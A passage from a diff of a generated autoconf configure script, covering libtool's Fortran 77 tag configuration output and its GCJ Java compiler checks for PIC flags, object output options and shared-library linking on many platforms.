archive_expsym_cmds_F77 \ + postinstall_cmds_F77 \ + postuninstall_cmds_F77 \ + old_archive_from_expsyms_cmds_F77 \ + allow_undefined_flag_F77 \ + no_undefined_flag_F77 \ + export_symbols_cmds_F77 \ + hardcode_libdir_flag_spec_F77 \ + hardcode_libdir_flag_spec_ld_F77 \ + hardcode_libdir_separator_F77 \ + hardcode_automatic_F77 \ + module_cmds_F77 \ + module_expsym_cmds_F77 \ + lt_cv_prog_compiler_c_o_F77 \ + exclude_expsyms_F77 \ + include_expsyms_F77; do + + case $var in + old_archive_cmds_F77 | \ + old_archive_from_new_cmds_F77 | \ + archive_cmds_F77 | \ + archive_expsym_cmds_F77 | \ + module_cmds_F77 | \ + module_expsym_cmds_F77 | \ + old_archive_from_expsyms_cmds_F77 | \ + export_symbols_cmds_F77 | \ + extract_expsyms_cmds | reload_cmds | finish_cmds | \ + postinstall_cmds | postuninstall_cmds | \ + old_postinstall_cmds | old_postuninstall_cmds | \ + sys_lib_search_path_spec | sys_lib_dlsearch_path_spec) + # Double-quote double-evaled strings. + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\"" + ;; + *) + eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\"" + ;; + esac + done + + case $lt_echo in + *'\$0 --fallback-echo"') + lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'` + ;; + esac + +cfgfile="$ofile" + + cat <<__EOF__ >> "$cfgfile" +# ### BEGIN LIBTOOL TAG CONFIG: $tagname + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$archive_cmds_need_lc_F77 + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77 + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_compiler_F77 + +# Is the compiler the GNU C compiler? +with_gcc=$GCC_F77 + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_LD_F77 + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_lt_prog_compiler_wl_F77 + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_lt_prog_compiler_pic_F77 +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_lt_cv_prog_compiler_c_o_F77 + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_lt_prog_compiler_static_F77 + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_F77 + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_export_dynamic_flag_spec_F77 + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_whole_archive_flag_spec_F77 + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_thread_safe_flag_spec_F77 + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_old_archive_cmds_F77 +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_old_archive_from_new_cmds_F77 + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_old_archive_from_expsyms_cmds_F77 + +# Commands used to build and install a shared archive. +archive_cmds=$lt_archive_cmds_F77 +archive_expsym_cmds=$lt_archive_expsym_cmds_F77 +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_module_cmds_F77 +module_expsym_cmds=$lt_module_expsym_cmds_F77 + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_predep_objects_F77 + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_postdep_objects_F77 + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_predeps_F77 + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_postdeps_F77 + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_compiler_lib_search_path_F77 + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_allow_undefined_flag_F77 + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_no_undefined_flag_F77 + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$hardcode_action_F77 + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77 + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77 + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77 + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$hardcode_direct_F77 + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$hardcode_minus_L_F77 + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$hardcode_shlibpath_var_F77 + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$hardcode_automatic_F77 + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$link_all_deplibs_F77 + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$fix_srcfile_path_F77" + +# Set to yes if exported symbols are required. +always_export_symbols=$always_export_symbols_F77 + +# The commands to list exported symbols. +export_symbols_cmds=$lt_export_symbols_cmds_F77 + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_exclude_expsyms_F77 + +# Symbols that must always be exported. +include_expsyms=$lt_include_expsyms_F77 + +# ### END LIBTOOL TAG CONFIG: $tagname + +__EOF__ + + +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +CC="$lt_save_CC" + + else + tagname="" + fi + ;; + + GCJ) + if test -n "$GCJ" && test "X$GCJ" != "Xno"; then + + +# Source file extension for Java test sources. +ac_ext=java + +# Object file extension for compiled Java test sources. +objext=o +objext_GCJ=$objext + +# Code to be used in simple compile tests +lt_simple_compile_test_code="class foo {}\n" + +# Code to be used in simple link tests +lt_simple_link_test_code='public class conftest { public static void main(String argv) {}; }\n' + +# ltmain only uses $CC for tagged configurations so make sure $CC is set. + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Allow CC to be a program name with arguments. +lt_save_CC="$CC" +CC=${GCJ-"gcj"} +compiler=$CC +compiler_GCJ=$CC + +# GCJ did not exist at the time GCC didn't implicitly link libc in. +archive_cmds_need_lc_GCJ=no + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... + +lt_prog_compiler_no_builtin_flag_GCJ= + +if test "$GCC" = yes; then + lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin' + + +{ echo "$as_me:$LINENO: checking if $compiler supports -fno-rtti -fno-exceptions" >&5 +echo $ECHO_N "checking if $compiler supports -fno-rtti -fno-exceptions... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_rtti_exceptions+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_rtti_exceptions=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="-fno-rtti -fno-exceptions" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:16400: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:16404: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_cv_prog_compiler_rtti_exceptions=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_rtti_exceptions" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_rtti_exceptions" >&6; } + +if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then + lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions" +else + : +fi + +fi + +lt_prog_compiler_wl_GCJ= +lt_prog_compiler_pic_GCJ= +lt_prog_compiler_static_GCJ= + +{ echo "$as_me:$LINENO: checking for $compiler option to produce PIC" >&5 +echo $ECHO_N "checking for $compiler option to produce PIC... $ECHO_C" >&6; } + + if test "$GCC" = yes; then + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_static_GCJ='-static' + + case $host_os in + aix*) + # All AIX code is PIC. + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_GCJ='-Bstatic' + fi + ;; + + amigaos*) + # FIXME: we need at least 68020 code to build shared libraries, but + # adding the `-m68020' flag to GCC prevents building anything better, + # like `-m68040'. + lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4' + ;; + + beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*) + # PIC is the default for these OSes. + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_GCJ='-DDLL_EXPORT' + ;; + + darwin* | rhapsody*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + lt_prog_compiler_pic_GCJ='-fno-common' + ;; + + msdosdjgpp*) + # Just because we use GCC doesn't mean we suddenly get shared libraries + # on systems that don't support them. + lt_prog_compiler_can_build_shared_GCJ=no + enable_shared=no + ;; + + sysv4*MP*) + if test -d /usr/nec; then + lt_prog_compiler_pic_GCJ=-Kconform_pic + fi + ;; + + hpux*) + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_GCJ='-fPIC' + ;; + esac + ;; + + *) + lt_prog_compiler_pic_GCJ='-fPIC' + ;; + esac + else + # PORTME Check for flag to pass linker flags through the system compiler. + case $host_os in + aix*) + lt_prog_compiler_wl_GCJ='-Wl,' + if test "$host_cpu" = ia64; then + # AIX 5 now supports IA64 processor + lt_prog_compiler_static_GCJ='-Bstatic' + else + lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp' + fi + ;; + darwin*) + # PIC is the default on this platform + # Common symbols not allowed in MH_DYLIB files + case "$cc_basename" in + xlc*) + lt_prog_compiler_pic_GCJ='-qnocommon' + lt_prog_compiler_wl_GCJ='-Wl,' + ;; + esac + ;; + + mingw* | pw32* | os2*) + # This hack is so that the source file can tell whether it is being + # built for inclusion in a dll (and should export symbols for example). + lt_prog_compiler_pic_GCJ='-DDLL_EXPORT' + ;; + + hpux9* | hpux10* | hpux11*) + lt_prog_compiler_wl_GCJ='-Wl,' + # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but + # not for PA HP-UX. + case "$host_cpu" in + hppa*64*|ia64*) + # +Z the default + ;; + *) + lt_prog_compiler_pic_GCJ='+Z' + ;; + esac + # Is there a better lt_prog_compiler_static that works with the bundled CC? + lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive' + ;; + + irix5* | irix6* | nonstopux*) + lt_prog_compiler_wl_GCJ='-Wl,' + # PIC (with -KPIC) is the default. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + + newsos6) + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + linux*) + case $CC in + icc* | ecc*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-static' + ;; + ccc*) + lt_prog_compiler_wl_GCJ='-Wl,' + # All Alpha code is PIC. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + esac + ;; + + osf3* | osf4* | osf5*) + lt_prog_compiler_wl_GCJ='-Wl,' + # All OSF/1 code is PIC. + lt_prog_compiler_static_GCJ='-non_shared' + ;; + + sco3.2v5*) + lt_prog_compiler_pic_GCJ='-Kpic' + lt_prog_compiler_static_GCJ='-dn' + ;; + + solaris*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sunos4*) + lt_prog_compiler_wl_GCJ='-Qoption ld ' + lt_prog_compiler_pic_GCJ='-PIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + lt_prog_compiler_wl_GCJ='-Wl,' + lt_prog_compiler_pic_GCJ='-KPIC' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec ;then + lt_prog_compiler_pic_GCJ='-Kconform_pic' + lt_prog_compiler_static_GCJ='-Bstatic' + fi + ;; + + uts4*) + lt_prog_compiler_pic_GCJ='-pic' + lt_prog_compiler_static_GCJ='-Bstatic' + ;; + + *) + lt_prog_compiler_can_build_shared_GCJ=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_GCJ" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_GCJ" >&6; } + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$lt_prog_compiler_pic_GCJ"; then + +{ echo "$as_me:$LINENO: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... $ECHO_C" >&6; } +if test "${lt_prog_compiler_pic_works_GCJ+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works_GCJ=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic_GCJ" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:16643: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:16647: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works_GCJ=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works_GCJ" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works_GCJ" >&6; } + +if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then + case $lt_prog_compiler_pic_GCJ in + "" | " "*) ;; + *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;; + esac +else + lt_prog_compiler_pic_GCJ= + lt_prog_compiler_can_build_shared_GCJ=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic_GCJ= + ;; + *) + lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ" + ;; +esac + +{ echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_c_o_GCJ+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o_GCJ=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:16703: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:16707: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o_GCJ=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o_GCJ" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o_GCJ" >&6; } + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + { echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6; } + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6; } + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +{ echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6; } + + runpath_var= + allow_undefined_flag_GCJ= + enable_shared_with_static_runtimes_GCJ=no + archive_cmds_GCJ= + archive_expsym_cmds_GCJ= + old_archive_From_new_cmds_GCJ= + old_archive_from_expsyms_cmds_GCJ= + export_dynamic_flag_spec_GCJ= + whole_archive_flag_spec_GCJ= + thread_safe_flag_spec_GCJ= + hardcode_libdir_flag_spec_GCJ= + hardcode_libdir_flag_spec_ld_GCJ= + hardcode_libdir_separator_GCJ= + hardcode_direct_GCJ=no + hardcode_minus_L_GCJ=no + hardcode_shlibpath_var_GCJ=unsupported + link_all_deplibs_GCJ=unknown + hardcode_automatic_GCJ=no + module_cmds_GCJ= + module_expsym_cmds_GCJ= + always_export_symbols_GCJ=no + export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms_GCJ= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs_GCJ=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs_GCJ=no + cat <&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_minus_L_GCJ=yes + + # Samuel A. Falvo II reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs_GCJ=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag_GCJ=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec_GCJ='-L$libdir' + allow_undefined_flag_GCJ=unsupported + always_export_symbols_GCJ=no + enable_shared_with_static_runtimes_GCJ=yes + export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds_GCJ='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs_GCJ=no + cat <&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs_GCJ=no + fi + ;; + + sunos4*) + archive_cmds_GCJ='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct_GCJ=yes + hardcode_shlibpath_var_GCJ=no + ;; + + linux*) + if $LD --help 2>&1 | 